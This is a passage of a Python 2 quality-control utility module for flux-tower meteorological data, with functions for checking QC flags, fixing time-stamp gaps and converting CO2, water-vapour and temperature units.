#Purpose: #Make sure that all values of -9999 in a data series have a non-zero QC flag value. #Usage: #qcutils.CheckQCFlags(ds) #Author: PRI #Date: August 2014 #""" #for ThisOne in ds.series.keys(): #data = numpy.ma.masked_values(ds.series[ThisOne]["Data"],-9999) #flag = numpy.ma.masked_equal(ds.series[ThisOne]["Flag"],0) #mask = data.mask&flag.mask #index = numpy.ma.where(mask==True)[0] #ds.series[ThisOne]["Flag"][index] = numpy.int32(8) def CheckQCFlags(ds): """ Purpose: Make sure that all values of -9999 in a data series have a non-zero QC flag value. Usage: qcutils.CheckQCFlags(ds) Author: PRI Date: August 2014 """ # force any values of -9999 with QC flags of 0 to have a QC flag of 8 for ThisOne in ds.series.keys(): data = numpy.ma.masked_values(ds.series[ThisOne]["Data"],-9999) flag = numpy.ma.masked_equal(numpy.mod(ds.series[ThisOne]["Flag"],10),0) mask = data.mask&flag.mask index = numpy.ma.where(mask==True)[0] ds.series[ThisOne]["Flag"][index] = numpy.int32(8) # force all values != -9999 to have QC flag = 0, 10, 20 etc for ThisOne in ds.series.keys(): index = numpy.where((abs(ds.series[ThisOne]['Data']-numpy.float64(c.missing_value))>c.eps)& (numpy.mod(ds.series[ThisOne]["Flag"],10)!=0)) ds.series[ThisOne]["Flag"][index] = numpy.int32(0) def CheckTimeStep(ds): """ Purpose: Checks the datetime series in the data structure ds to see if there are any missing time stamps. This function returns a logical variable that is true if any gaps exist in the time stamp. Useage: has_gaps = CheckTimeSTep(ds) if has_gaps: <do something about missing time stamps> Author: PRI Date: April 2013 """ # set the has_gaps logical has_gaps = False # get the number of records nRecs = int(ds.globalattributes["nc_nrecs"]) # get the time step ts = int(ds.globalattributes["time_step"]) # time step between records in seconds dt = get_timestep(ds) # indices of elements where time step not equal to default index = numpy.where(dt!=ts*60)[0] # check to see if ww have any time step problems if len(index)!=0: has_gaps = True log.warning(" CheckTimeStep: "+str(len(index))+" problems found with the time stamp") return has_gaps def CheckUnits(ds,label,units,convert_units=False): """ Purpose: General units checking and conversion. Usage: qcutils.CheckUnits(ds,label,units,convert_units=True) where ds is a data structure label (string) is the label of the series for which the units are to be checked units (string) is the required units convert_units (logical, optional) is True to force conversion to required units Author: PRI Date: January 2016 """ data,flag,attr = GetSeriesasMA(ds,label) if attr["units"]==units: return if convert_units: msg = " Units for "+label+" converted from "+attr["units"]+" to "+units log.info(msg) new_data = convert_units_func(ds,data,attr["units"],units) attr["units"] = units CreateSeries(ds,label,new_data,Flag=flag,Attr=attr) else: msg = " Units mismatch but conversion disabled" log.error(msg) sys.exit() def contiguous_regions(condition): """ Purpose: Finds contiguous True regions of the boolean array "condition". Returns a 2D array where the first column is the start index of the region and the second column is the end index. Author: Joe Kington (via StackOverflow) Date: September 2014 """ # Find the indicies of changes in "condition" d = numpy.diff(condition) idx, = d.nonzero() # We need to start things after the change in "condition". Therefore, # we'll shift the index by 1 to the right. idx += 1 if condition[0]: # If the start of condition is True prepend a 0 idx = numpy.r_[0, idx] if condition[-1]: # If the end of condition is True, append the length of the array idx = numpy.r_[idx, condition.size] # Edit # Reshape the result into two columns idx.shape = (-1,2) return idx def ConvertCO2Units(cf,ds,Cc='Cc'): Cc_units_out = "mg/m3" # default value Cc_units_in = ds.series[Cc]['Attr']['units'] if 'Options' in cf: if 'CO2Units' in cf['Options']: Cc_units_out = str(cf['Options']['CO2Units']) if Cc_units_out!=Cc_units_in: log.info(' Converting CO2 concentration from '+Cc_units_in+' to '+Cc_units_out) if Cc_units_out=="umol/mol" and Cc_units_in=="mg/m3": c_mgpm3,flag,attr = GetSeriesasMA(ds,Cc) T,f,a = GetSeriesasMA(ds,'Ta') p,f,a = GetSeriesasMA(ds,'ps') c_ppm = mf.co2_ppmfrommgpm3(c_mgpm3,T,p) attr["long_name"] = attr["long_name"]+", converted to umol/mol" attr["units"] = Cc_units_out attr["standard_name"] = "mole_concentration_of_carbon_dioxide_in_air" CreateSeries(ds,Cc,c_ppm,Flag=flag,Attr=attr) elif Cc_units_out=="mg/m3" and Cc_units_in=="umol/mol": c_ppm,flag,attr = GetSeriesasMA(ds,Cc) T,f,a = GetSeriesasMA(ds,'Ta') p,f,a = GetSeriesasMA(ds,'ps') c_mgpm3 = mf.co2_mgpm3fromppm(c_ppm,T,p) attr["long_name"] = attr["long_name"]+", converted to mg/m3" attr["units"] = Cc_units_out attr["standard_name"] = "mass_concentration_of_carbon_dioxide_in_air" CreateSeries(ds,Cc,c_mgpm3,Flag=flag,Attr=attr) else: log.info(' ConvertCO2Units: input or output units for CO2 concentration not recognised') else: log.info(" CO2 concentration already in requested units") def ConvertFcUnits(cf,ds,Fc='Fc',Fc_storage='Fc_storage'): if 'Options' not in cf: return if 'FcUnits' not in cf['Options']: return # the user may want to change the units of Fc and Fc_storage Fc_units_out = str(cf['Options']['FcUnits']) # convert units of Fc if required if Fc in ds.series.keys(): Fc_units_in = ds.series[Fc]['Attr']['units'] if Fc_units_out!=Fc_units_in: log.info(' Converting CO2 flux from '+Fc_units_in+' to '+Fc_units_out) if Fc_units_out=="umol/m2/s" and Fc_units_in=="mg/m2/s": Fc_mgpm2ps,flag,attr = GetSeriesasMA(ds,Fc) Fc_umolpm2ps = mf.Fc_umolpm2psfrommgpm2ps(Fc_mgpm2ps) attr["long_name"] = attr["long_name"]+", converted to umol/m2/s" attr["units"] = Fc_units_out attr["standard_name"] = "surface_upward_mole_flux_of_carbon_dioxide" CreateSeries(ds,Fc,Fc_umolpm2ps,Flag=flag,Attr=attr) elif Fc_units_out=="mg/m2/s" and Fc_units_in=="umol/m2/s": Fc_umolpm2ps,f,a = GetSeriesasMA(ds,Fc) Fc_mgpm2ps = mf.Fc_mgpm2psfromumolpm2ps(Fc_umolpm2ps) attr["long_name"] = attr["long_name"]+', converted to mg/m2/s' attr["units"] = Fc_units_out attr["standard_name"] = "not defined" CreateSeries(ds,Fc,Fc_mgpm2ps,Flag=flag,Attr=attr) else: log.info(' ConvertFcUnits: input or output units for Fc unrecognised') # convert units of Fc_storage if required, just go with boiler plate for now if Fc_storage in ds.series.keys(): Fc_storage_units_in = ds.series[Fc_storage]['Attr']['units'] if Fc_units_out!=Fc_storage_units_in: log.info(' Converting CO2 storage flux from '+Fc_storage_units_in+' to '+Fc_units_out) if Fc_units_out=="umol/m2/s" and Fc_storage_units_in=="mg/m2/s": Fc_storage_mgpm2ps,flag,attr = GetSeriesasMA(ds,Fc_storage) Fc_storage_umolpm2ps = mf.Fc_umolpm2psfrommgpm2ps(Fc_storage_mgpm2ps) attr["long_name"] = attr["long_name"]+", converted to umol/m2/s" attr["units"] = Fc_units_out CreateSeries(ds,Fc_storage,Fc_storage_umolpm2ps,Flag=flag,Attr=attr) elif Fc_units_out=="mg/m2/s" and Fc_storage_units_in=="umol/m2/s": Fc_storage_umolpm2ps,f,a = GetSeriesasMA(ds,Fc_storage) Fc_storage_mgpm2ps = mf.Fc_mgpm2psfromumolpm2ps(Fc_storage_umolpm2ps) attr["long_name"] = attr["long_name"]+", converted to mg/m2/s" attr["units"] = Fc_units_out CreateSeries(ds,Fc_storage,Fc_storage_mgpm2ps,Flag=flag,Attr=attr) else: log.info(' ConvertFcUnits: input or output units for Fc_storage unrecognised') def convert_units_func(ds,old_data,old_units,new_units,mode="quiet"): """ Purpose: Generic routine for changing units. Nothing is done if the original units are the same as the requested units. Usage: new_data = qcutils.convert_units_func(old_data,old_units,new_units) where old_data is a 1D array of data in the original units old_units are the units of the original data new_units are the units of the new data ts is the time step Author: PRI Date: July 2015 """ if old_units==new_units: return # check the units are something we understand # add more lists here to cope with water etc co2_list = ["umol/m2/s","gC/m2","mg/m3","mgCO2/m3","umol/mol","mg/m2/s","mgCO2/m2/s"] h2o_list = ["g/m3","mmol/mol","%","frac"] t_list = ["C","K"] # h2o_list = ["%","frac","g/m3","kg/kg","mmol/mol"] ok_list = co2_list+h2o_list+t_list # parse the original units #if old_units=="umol/m^2/s": old_units="umol/m2/s" #if old_units.replace(" ","")=="umolm-2s-1": old_units="umol/m2/s" if old_units not in ok_list: msg = " Unrecognised units in quantity provided ("+old_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) elif new_units not in ok_list: msg = " Unrecognised units requested ("+new_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) elif new_units in co2_list: if old_units in co2_list: new_data = convert_units_co2(ds,old_data,old_units,new_units) else: msg = " New units ("+new_units+") not compatible with old ("+old_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) elif new_units in h2o_list: if old_units in h2o_list: new_data = convert_units_h2o(ds,old_data,old_units,new_units) else: msg = " New units ("+new_units+") not compatible with old ("+old_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) elif new_units in t_list: if old_units in t_list: new_data = convert_units_t(ds,old_data,old_units,new_units) else: msg = " New units ("+new_units+") not compatible with old ("+old_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) else: msg = "Unrecognised units combination "+old_units+" and "+new_units log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) return new_data def convert_units_co2(ds,old_data,old_units,new_units): """ Purpose: General purpose routine to convert from one set of CO2 concentration units to another. Conversions supported are: umol/m2/s to gC/m2 (per time step) gC/m2 (per time step) to umol/m2/s mg/m3 to umol/mol mgCO2/m3 to umol/mol umol/mol to mg/m3 mg/m2/s to umol/m2/s mgCO2/m2/s to umol/m2/s Usage: new_data = qcutils.convert_units_co2(ds,old_data,old_units,new_units) where ds is a data structure old_data (numpy array) is the data to be converted old_units (string) is the old units new_units (string) is the new units Author: PRI Date: January 2016 """ ts = int(ds.globalattributes["time_step"]) if old_units=="umol/m2/s" and new_units=="gC/m2": new_data = old_data*12.01*ts*60/1E6 elif old_units=="gC/m2" and new_units=="umol/m2/s": new_data = old_data*1E6/(12.01*ts*60) elif old_units in ["mg/m3","mgCO2/m3"] and new_units=="umol/mol": Ta,f,a = GetSeriesasMA(ds,"Ta") ps,f,a = GetSeriesasMA(ds,"ps") new_data = mf.co2_ppmfrommgpm3(old_data,Ta,ps) elif old_units=="umol/mol" and new_units in ["mg/m3","mgCO2/m3"]: Ta,f,a = GetSeriesasMA(ds,"Ta") ps,f,a = GetSeriesasMA(ds,"ps") new_data = mf.co2_mgpm3fromppm(old_data,Ta,ps) elif old_units in ["mg/m2/s","mgCO2/m2/s"] and new_units=="umol/m2/s": new_data = mf.Fc_umolpm2psfrommgpm2ps(old_data) else: msg = " Unrecognised conversion from "+old_units+" to "+new_units log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) return new_data def convert_units_h2o(ds,old_data,old_units,new_units): """ Purpose: General purpose routine to convert from one set of H2O concentration units to another. Conversions supported are: g/m3 to mmol/mol mmol/mol to g/m3 Usage: new_data = qcutils.convert_units_h2o(ds,old_data,old_units,new_units) where ds is a data structure old_data (numpy array) is the data to be converted old_units (string) is the old units new_units (string) is the new units Author: PRI Date: January 2016 """ ts = int(ds.globalattributes["time_step"]) if old_units=="mmol/mol" and new_units=="g/m3": Ta,f,a = GetSeriesasMA(ds,"Ta") ps,f,a = GetSeriesasMA(ds,"ps") new_data = mf.h2o_gpm3frommmolpmol(old_data,Ta,ps) elif old_units=="g/m3" and new_units=="mmol/mol": Ta,f,a = GetSeriesasMA(ds,"Ta") ps,f,a = GetSeriesasMA(ds,"ps") new_data = mf.h2o_mmolpmolfromgpm3(old_data,Ta,ps) elif old_units=="frac" and new_units=="%": new_data = old_data*float(100) elif old_units=="%" and new_units=="frac": new_data = old_data/float(100) else: msg = " Unrecognised conversion from "+old_units+" to "+new_units log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) return new_data def convert_units_t(ds,old_data,old_units,new_units): """ Purpose: General purpose routine to convert from one set of temperature units to another. Conversions supported are: C to K K to C Usage: new_data = qcutils.convert_units_t(ds,old_data,old_units,new_units) where ds is a data structure old_data (numpy array) is the data to be converted old_units (string) is the old units new_units (string) is the new units Author: PRI Date: January 2016 """ ts = int(ds.globalattributes["time_step"]) if old_units=="C" and new_units=="K": new_data = old_data+c.C2K elif old_units=="K" and new_units=="C": new_data = old_data-c.C2K else: msg = " Unrecognised conversion from "+old_units+" to "+new_units log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) return new_data def convert_anglestring(anglestring): """ Purpose: Attempt to convert an angle string to a float. Usage: a = qcutils.convert_anglestring(astr) Acceptable input formats: astr = '''34 12' 24" S''' astr = '''34 12 24S''' astr = '''34 12'24.123"S'' astr = '''34.123 S''' astr = '''-34.123''' """ quadlist=["N","E","S","W"] direction = {'N':1, 'S':-1, 'E': 1, 'W':-1} try: # simple casting may work, who knows? return float(anglestring) except ValueError: # replace the degrees, minutes and seconds symbols with spaces new = anglestring.replace(u'\B0',' ').replace('\'',' ').replace('"',' ') # check there is a space between the quadrant letter (assumed to be one of N, E, W or S) # and the next character to the left # find out which of N, E, S, or W is in the string for item in quadlist: if item in new: quadletter=item # now get the index of this character in the string i=new.index(quadletter) # check that the next character to the left is a space character if new[i-1] != " ": new = new[0:i]+" "+new[i:] # now split the string on space characters new = new.split() # get the quadrant letter new_dir = new.pop() # make sure we have 3 parts new.extend([0,0,0]) # return with the string converted to a float return (float(new[0])+float(new[1])/60.0+float(new[2])/3600.0) * direction[new_dir] def convert_WsWdtoUV(Ws,Wd): """ Purpose: Convert wind speed and direction to U and V conponents. This routine follows the meteorological convention: - wind direction is positive going clockwise from north - U is positive towards east - V is positive towards north Usage: u,v = qcutils.convert_WsWdtoUV(Ws,Wd) Author: PRI Date: February 2015 """ u = -Ws*numpy.sin(numpy.radians(Wd)) v = -Ws*numpy.cos(numpy.radians(Wd)) return u,v def convert_UVtoWsWd(u,v): """ Purpose: Convert U and V conponents to wind speed and direction This routine follows the meteorological convention: - wind direction is positive going clockwise from north - U is positive towards east - V is positive towards north Usage: Ws,Wd = qcutils.convert_UVtoWsWd(U,V) Author: PRI Date: February 2015 """ Wd = float(270) - (numpy.degrees(numpy.arctan2(v,u))) Wd = numpy.mod(Wd,360) Ws = numpy.sqrt(u*u + v*v) return Ws,Wd def CreateSeries(ds,Label,Data,FList=None,Flag=None,Attr=None): """ Purpose: Create a series (1d array) of data in the data structure. If the series already exists in the data structure, data values and QC flags will be overwritten but attributes will be preserved. However, the long_name and units attributes are treated differently. The existing long_name will have long_name appended to it. The existing units will be overwritten with units. This utility is the prefered method for creating or updating a data series because it implements a consistent method for creating series in the data structure. Direct writes to the contents of the data structure are discouraged (unless PRI wrote the code:=P). Usage: Fsd,flag,attr = qcutils.GetSeriesasMA(ds,"Fsd") ... do something to Fsd here ... qcutils.CreateSeries(ds,"Fsd",Fsd,Flag=flag,Attr=attr) Author: PRI Date: Back in the day """ ds.series['_tmp_'] = {} # create a temporary series to avoid premature overwrites # put the data into the temporary series if numpy.ma.isMA(Data): ds.series['_tmp_']['Data'] = numpy.ma.filled(Data,float(c.missing_value)) else: ds.series['_tmp_']['Data'] = numpy.array(Data) # copy or make the QC flag if Flag is None: ds.series['_tmp_']['Flag'] = MakeQCFlag(ds,FList) else: ds.series['_tmp_']['Flag'] = Flag.astype(numpy.int32) # do the attributes ds.series['_tmp_']['Attr'] = {} if Label in ds.series.keys(): # check to see if the series already exists for attr in ds.series[Label]['Attr']: # if it does, copy the existing attributes if attr in Attr and ds.series[Label]['Attr'][attr]!=Attr[attr]: ds.series['_tmp_']['Attr'][attr] = Attr[attr] else: ds.series['_tmp_']['Attr'][attr] = ds.series[Label]['Attr'][attr] for attr in Attr: if attr not in ds.series['_tmp_']['Attr'].keys(): ds.series['_tmp_']['Attr'][attr] = Attr[attr] else: for item in Attr: ds.series['_tmp_']['Attr'][item] = Attr[item] ds.series[unicode(Label)] = ds.series['_tmp_'] # copy temporary series to new series del ds.series['_tmp_'] # delete the temporary series def CreateDatetimeRange(start,stop,step=datetime.timedelta(minutes=30)): ''' Purpose: Create a series of datetimes between the "start" and "stop" datetimes and with a time step of "step". Useage: dt = ds.series['DateTime']['Data'] ts = ds.globaleattributes['time_step'] dt_evenlyspaced = CreateDatetimeRange(dt[0],dt[-1],step=datetime.timedelta(minutes=ts))] Author: PRI Date: December 2013 ''' result = [] while start<stop: result.append(start) start = start + step return result def CreateVariableFromDictionary(ds,variable): """ Purpose: Create a variable in the data structure. If the variable already exists in the data structure, data values, QC flags and attributes will be overwritten. This utility is the prefered method for creating or updating a data series because it implements a consistent method for creating series in the data structure. Direct writes to the contents of the data structure are discouraged (unless PRI wrote the code:=P). Usage: Fsd = qcutils.GetVariableAsDict(ds,"Fsd") ... do something to Fsd here ... ... and don't forget to update the QC flag ... ... and the attributes ... qcutils.CreateVariableFromDict(ds,Fsd) Author: PRI Date: September 2016 """ label = variable["Label"] # create a temporary series to avoid premature overwrites ds.series["_tmp_"] = {} # put the data into the temporary series if numpy.ma.isMA(variable["Data"]): ds.series["_tmp_"]["Data"] = numpy.ma.filled(variable["Data"], float(c.missing_value)) else: ds.series["_tmp_"]["Data"] = numpy.array(variable["Data"]) # copy or make the QC flag ds.series["_tmp_"]["Flag"] = numpy.array(variable["Flag"]) # do the attributes ds.series["_tmp_"]["Attr"] = copy.deepcopy(variable["Attr"]) # and copy the temporary series back to the original label ds.series[unicode(label)] = copy.deepcopy(ds.series['_tmp_']) # delete the temporary series del ds.series['_tmp_'] def file_exists(filename,mode="verbose"): if not os.path.exists(filename): if mode=="verbose": log.error(' File '+filename+' not found') return False else: return True def FindIndicesOfBInA(a,b): """ Purpose: Find the indices of elements in b that also occur in a. The routine is intended for use only with lists of Python datetime values. This ensures the input series are monotonically increasing (though this is not a requirement) and contain no duplicates (which is required, or at least not handled). Limitations: Argument a is converted to a set to greatly speed the comparison of b elements with a. This means that duplicates in a will be dropped and hence only 1 index will be returned for each value in b. Usage: indices = qcutils.FindIndicesOfBInA(a,b) where a is a list of Python datetime objects b is a list of Python datetime objects indices is a list of indices in b where the elements of b also occur in a Author: PRI Date: July 2015 Comments: Replaces find_indices used up to V2.9.3. """ if len(set(a))!=len(a): msg = " FindIndicesOfBInA: first argument contains duplicate values" log.warning(msg) tmpset = set(a) indices = [i for i,item in enumerate(b) if item in tmpset] return indices def RemoveDuplicateRecords(ds): """ Remove duplicate records.""" # the ds.series["DateTime"]["Data"] series is actually a list for item in ["DateTime","DateTime_UTC"]: if item in ds.series.keys(): ldt,ldt_flag,ldt_attr = GetSeries(ds,item) # ldt_nodups is returned as an ndarray ldt_nodups,idx_nodups = numpy.unique(numpy.array(ldt),return_index=True) # now get ldt_nodups as a list ldt_nodups = ldt_nodups.tolist() # and put it back into the data structure ds.series[item]["Data"] = ldt_nodups ds.series[item]["Flag"] = ldt_flag[idx_nodups] # get a list of the series in the data structure series_list = [item for item in ds.series.keys() if '_QCFlag' not in item] # remove the DateTime for item in ["DateTime","DateTime_UTC"]: if item in series_list: series_list.remove(item) # loop over the series in the data structure for ThisOne in series_list: data_dups,flag_dups,attr = GetSeriesasMA(ds,ThisOne) data_nodups = data_dups[idx_nodups] flag_nodups = flag_dups[idx_nodups] CreateSeries(ds,ThisOne,data_nodups,Flag=flag_nodups,Attr=attr) ds.globalattributes['nc_nrecs'] = len(ds.series["DateTime"]["Data"]) def FixNonIntegralTimeSteps(ds,fixtimestepmethod=""): """ Purpose: Fix time steps that are not an integral number of the default time step. The default time step is read from the "time_step" global attribute which is read from the L1 control file and written to the L1 netCDF file. The most common cause of non-integral time steps is drift in logger time stamp or rounding errors in Excel's treatment of datetimes. Usage: FixNonIntegralTimeSteps(ds) Called By: CheckTimeStep Author: PRI Date: February 2015 To do: Implement [I]nterpolate """ ts = int(ds.globalattributes["time_step"]) ldt = ds.series["DateTime"]["Data"] dt_diffs = numpy.array([(ldt[i]-rounddttots(ldt[i],ts=ts)).total_seconds() for i in range(1,len(ldt))]) log.info(" Maximum drift is "+str(numpy.max(dt_diffs))+" seconds, minimum drift is "+str(numpy.min(dt_diffs))+" seconds") ans = fixtimestepmethod if ans=="": ans = raw_input("Do you want to [Q]uit, [I]nterploate or [R]ound? ") if ans.lower()[0]=="q": print "Quiting ..." sys.exit() if ans.lower()[0]=="i": print "Interpolation to regular time step not implemented yet ..." sys.exit() if ans.lower()[0]=="r": log.info(" Rounding to the nearest time step") ldt_rounded = [rounddttots(dt,ts=ts) for dt in ldt] rdt = numpy.array([(ldt_rounded[i]-ldt_rounded[i-1]).total_seconds() for i in range(1,len(ldt))]) log.info(" Maximum time step is now "+str(numpy.max(rdt))+" seconds, minimum time step is now "+str(numpy.min(rdt))) # replace the existing datetime series with the datetime series rounded to the nearest time step ds.series["DateTime"]["Data"] = ldt_rounded ds.globalattributes['nc_nrecs'] = len(ds.series["DateTime"]["Data"]) def FixTimeGaps(ds): """ Purpose: Fix gaps in datetime series found by CheckTimeStep. Useage: has_gaps = CheckTimeStep(ds) if has_gaps: FixTimeGaps(ds) Author: PRI Date: April 2013 Modified: September 2014 - rewrite for clarity and efficiency February 2015 - and again ... """ ts = int(ds.globalattributes["time_step"]) #ldt_gaps,ldt_flag,ldt_attr = GetSeries(ds,"DateTime") ldt_gaps = ds.series["DateTime"]["Data"] # generate a datetime list from the start datetime to the end datetime ldt_start = ldt_gaps[0] ldt_end = ldt_gaps[-1] ldt_nogaps = [result for result in perdelta(ldt_start,ldt_end,datetime.timedelta(minutes=ts))] # update the global attribute containing the number of records nRecs = len(ldt_nogaps) ds.globalattributes['nc_nrecs'] = nRecs # find the indices of the no-gap data in the original data idx_gaps = FindIndicesOfBInA(ldt_gaps,ldt_nogaps) # update the series of Python datetimes ds.series['DateTime']['Data'] = ldt_nogaps org_flag = ds.series['DateTime']['Flag'].astype(numpy.int32) ds.series['DateTime']['Flag'] = numpy.ones(nRecs,dtype=numpy.int32) ds.series['DateTime']['Flag'][idx_gaps] = org_flag # get a list of series in the data structure series_list = [item for item in ds.series.keys() if '_QCFlag' not in item] # remove the datetime-related series from data structure datetime_list = ["DateTime","DateTime_UTC"] for item in datetime_list: if item in series_list: series_list.remove(item) # now loop over the rest of the series in the data structure for ThisOne in series_list: data_nogaps = numpy.ones(nRecs,dtype=numpy.float64)*float(-9999) flag_nogaps = numpy.ones(nRecs,dtype=numpy.int32) data_gaps,flag_gaps,attr = GetSeriesasMA(ds,ThisOne) data_nogaps[idx_gaps] = data_gaps flag_nogaps[idx_gaps] = flag_gaps CreateSeries(ds,ThisOne,data_nogaps,Flag=flag_nogaps,Attr=attr) def FixTimeStep(ds,fixtimestepmethod="round"): """ Purpose: Fix problems with the time stamp. Useage: qcutils.FixTimeStep(ds,fixtimestepmethod=fixtimestepmethod) Author: PRI Date: April 2013 Modified: February 2015 - split check and fix functions into different routines """ # get the number of records nRecs = int(ds.globalattributes["nc_nrecs"]) # get the time step ts = int(ds.globalattributes["time_step"]) # time step between records in seconds dt = get_timestep(ds) dtmin = numpy.min(dt) dtmax = numpy.max(dt) if dtmin < ts*60: # duplicate or overlapping times found log.info(' FixTimeStep: duplicate or overlapping times found, removing ...') RemoveDuplicateRecords(ds) dt = get_timestep(ds) dtmin = numpy.min(dt) dtmax = numpy.max(dt) #log.info("After RemoveDuplicateRecords:"+str(dtmin)+" "+str(dtmax)) if numpy.min(numpy.mod(dt,ts*60))!=0 or numpy.max(numpy.mod(dt,ts*60))!=0: # non-integral time steps found # indices of elements where time step not equal to default index = numpy.where(numpy.min(numpy.mod(dt,ts*60))!=0 or numpy.max(numpy.mod(dt,ts*60))!=0)[0] log.info(" FixTimeStep: Non-integral time steps found "+str(len(index))+" times out of "+str(nRecs)) log.info(" FixTimeStep: Maximum time step was "+str(numpy.max(dt))+" seconds, minimum time step was "+str(numpy.min(dt))) FixNonIntegralTimeSteps(ds,fixtimestepmethod=fixtimestepmethod) dt = get_timestep(ds) dtmin = numpy.min(dt) dtmax = numpy.max(dt) #log.info("After FixNonIntegralTimeSteps:"+str(dtmin)+" "+str(dtmax)) if dtmax > ts*60: # time gaps found log.info(' FixTimeStep: one or more time gaps found, inserting times ...') FixTimeGaps(ds) dt = get_timestep(ds) dtmin = numpy.min(dt) dtmax = numpy.max(dt) #log.info("After FixTimeGaps: "+str(dtmin)+" "+str(dtmax)) def GetAverageSeriesKeys(cf,ThisOne): if incf(cf,ThisOne) and haskey(cf,ThisOne,'AverageSeries'): if 'Source' in cf['Variables'][ThisOne]['AverageSeries'].keys(): alist = ast.literal_eval(cf['Variables'][ThisOne]['AverageSeries']['Source']) else: log.error(' GetAverageSeriesKeys: key "Source" not in control file AverageSeries section for '+ThisOne) alist = [] if 'standard_name' in cf['Variables'][ThisOne]['AverageSeries'].keys(): standardname = str(cf['Variables'][ThisOne]['AverageSeries']['standard_name']) else: standardname = "not defined" else: standardname = "not defined" log.info(' GetAverageSeriesKeys: '+ThisOne+ ' not in control file or it does not have the "AverageSeries" key') alist = [] return alist, standardname def GetAltName(cf,ds,ThisOne): ''' Check to see if the specified variable name is in the data structure (ds). If it is, return the variable name unchanged. If it isn't, check the control file to see if an alternate name has been specified and return the alternate name if one exists. ''' if ThisOne not in ds.series.keys(): if ThisOne in cf['Variables'].keys(): ThisOne = cf['Variables'][ThisOne]['AltVarName'] if ThisOne not in ds.series.keys(): log.error('GetAltName: alternate variable name not in ds') else: log.error('GetAltName: cant find ',ThisOne,' in ds or control file') return ThisOne def GetAltNameFromCF(cf,ThisOne): ''' Get an alternate variable name from the control file. ''' if ThisOne in cf['Variables'].keys(): if 'AltVarName' in cf['Variables'][ThisOne].keys(): ThisOne = str(cf['Variables'][ThisOne]['AltVarName']) else: print 'GetAltNameFromCF: AltVarName key not in control file for '+str(ThisOne) else: print 'GetAltNameFromCF: '+str(ThisOne)+' not in control file' return ThisOne def GetAttributeDictionary(ds,ThisOne): attr = {} # if series ThisOne is in the data structure if ThisOne in ds.series.keys(): attr = ds.series[ThisOne]['Attr'] else: attr = MakeAttributeDictionary() return copy.deepcopy(attr) def GetcbTicksFromCF(cf,ThisOne): ''' Get colour bar tick labels from the control file. ''' if ThisOne in cf['Variables'].keys(): if 'Ticks' in cf['Variables'][ThisOne].keys(): Ticks = eval(cf['Variables'][ThisOne]['Ticks']) else: print 'GetcbTicksFromCF: Ticks key not in control file for '+str(ThisOne) else: print 'GetcbTicksFromCF: '+str(ThisOne)+' not in control file' return Ticks def GetRangesFromCF(cf,ThisOne,mode="verbose"): ''' Get lower and upper range limits from the control file. ''' if ThisOne in cf['Variables'].keys(): if 'Lower' in cf['Variables'][ThisOne].keys(): lower = float(cf['Variables'][ThisOne]['Lower']) else: if mode.lower()!="quiet": msg = "GetRangesFromCF: Lower key not in control file for "+str(ThisOne) log.info(msg) lower = None if 'Upper' in cf['Variables'][ThisOne].keys(): upper = float(cf['Variables'][ThisOne]['Upper']) else: if mode.lower()!="quiet": msg = "GetRangesFromCF: Upper key not in control file for "+str(ThisOne) log.info(msg) upper = None else: if mode.lower()!="quiet": msg = "GetRangesFromCF: "+str(ThisOne)+" not in control file" log.info(msg) lower, upper = None return lower, upper def GetDateIndex(dts,date,ts=30,default=0,match='exact'): """ Purpose: Return the index of a date/datetime string in an array of datetime objects Usage: si = qcutils.GetDateIndex(datetimeseries,date_str,ts=30,default=0,match='exact') where dts - array of datetime objects date_str - a date or date/time string in a format dateutils can parse ts - time step for the data, optional (integer) default - default value, optional (integer) match - type of match (string) options are: "exact" - finds the specified datetime and returns the index "startnextday" - returns the index of the first time period in the next day "endpreviousday" - returns the index of the last time period in the previous day "startnexthour" - returns the index of the first time period in the next hour "endprevioushour" - returns the index of the last time period in the previous hour "startnextmonth" - returns the index of the first time period in the next month "endpreviousmonth" - returns the index of the last time period in the previous month NOTE: "startnextday" and "endpreviousday" can be used to pick out time periods with an integer number of days Author: PRI Date: Back in the day """ try: if len(date)!=0: i = dts.index(dateutil.parser.parse(date)) else: if default==-1: i = len(dts)-1 else: i = default except ValueError: if default==-1: i = len(dts)-1 else: i = default if match=="exact": # if an exact match is required, do nothing pass elif match=="startnextmonth": # get to the start of the next day while abs(dts[i].hour+float(dts[i].minute)/60-float(ts)/60)>c.eps: i = i + 1 while dts[i].day!=1: i = i + int(float(24)/(float(ts)/60)) elif match=='startnextday': while abs(dts[i].hour+float(dts[i].minute)/60-float(ts)/60)>c.eps: i = i + 1 elif match=="startnexthour": # check the time step value if int(ts)!=60: # if the time step is 60 then it is always the start of the next hour # we assume here that the time period ends on the datetime stamp while dts[i].minute!=ts: # iterate until the minutes equal the time step i = i + 1 elif match=='endpreviousmonth': while abs(dts[i].hour+float(dts[i].minute)/60)>c.eps: i = i - 1 while dts[i].day!=1: i = i - int(float(24)/(float(ts)/60)) elif match=='endpreviousday': while abs(dts[i].hour+float(dts[i].minute)/60)>c.eps: i = i - 1 elif match=="endprevioushour": # check the time step value if int(ts)!=60: # if the time step is 60 then it is always the end of the previous hour # we assume here that the time period ends on the datetime stamp while dts[i].minute!=0: # iterate until the minutes equal 0 i = i - 1 else: log.error("GetDateIndex: Unrecognised match option") return i def GetGlobalAttributeValue(cf,ds,ThisOne): if ThisOne not in ds.globalattributes.keys(): if ThisOne in cf['General'].keys(): ds.globalattributes[ThisOne] = cf['General'][ThisOne] else: log.error(' GetGlobalAttributeValue: global attribute '+ThisOne+' was not found in the netCDF file or in the control file') ds.globalattributes[ThisOne] = None return ds.globalattributes[ThisOne] def GetMergeSeriesKeys(cf,ThisOne,section=''): if len(section)==0: section = 'Variables' if 'Source' in cf[section][ThisOne]['MergeSeries'].keys(): mlist = ast.literal_eval(cf[section][ThisOne]['MergeSeries']['Source']) else: log.error(' GetMergeSeriesKeys: key "Source" not in control file MergeSeries section for '+ThisOne) mlist = [] if 'standard_name' in cf[section][ThisOne]['MergeSeries'].keys(): standardname = 